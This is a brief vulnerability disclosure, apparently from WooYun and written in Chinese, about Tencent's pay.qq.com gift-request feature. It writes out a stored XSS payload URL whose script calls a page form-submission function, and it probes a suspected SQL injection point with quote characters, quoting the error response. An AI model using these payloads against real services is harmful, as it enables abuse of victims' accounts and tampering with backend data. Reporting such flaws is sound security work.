WooYun.org

http://pay.qq.com/service/ask_v2.shtml?sid=1&cm=bank&aid=vip.pingtai.pay.index.qqvip
向好友索要功能

当然不能像上图直接提交，因为js会被过滤，而是通过下面链接提交
http://pay.qq.com/cgi-bin/askforgift/payask.cgi?outputjson=true&service_type=LTMCLUB&note=<script defer>alert(1);send.formCheck(0);</script>&uin=自己的Q号&month=3&askeduin=好友的Q号

当好友收到请求后，点击链接，即

我们看看原因
请处理以下索要信息： 页面中通过ajax请求获取索要的信息，然后通过 innerHTML形式设置内容，看下两图

由于显示信息页面没有处理好编码，因此造成漏洞。。
不过测试过程中发现，程序中过虑了 \ = 等，因此上述方式只能用于 IE 和 chrome 。其它浏览器需要绕过过滤执行js暂没研究。
疑似注入地址也是这个索要请求的地址
http://pay.qq.com/cgi-bin/askforgift/payask.cgi?outputjson=true&service_type=LTMCLUB&note=x'&uin=自己的Q号&month=3&askeduin=好友的Q号
当存在 ' 时，返回出错
{ "resultcode": 20052, "resultinfo": "对不起，系统忙，请稍后再试。" }
初步猜是 insert 型注入点。。
可以试试
http://pay.qq.com/cgi-bin/askforgift/payask.cgi?outputjson=true&service_type=LTMCLUB&note=x''&uin=自己的Q号&month=3&askeduin=好友的Q号
发送成功
而看到请求的信息中，
好友留言：
x'
即证明了这个注入点的存在。。
你们自己看吧。。。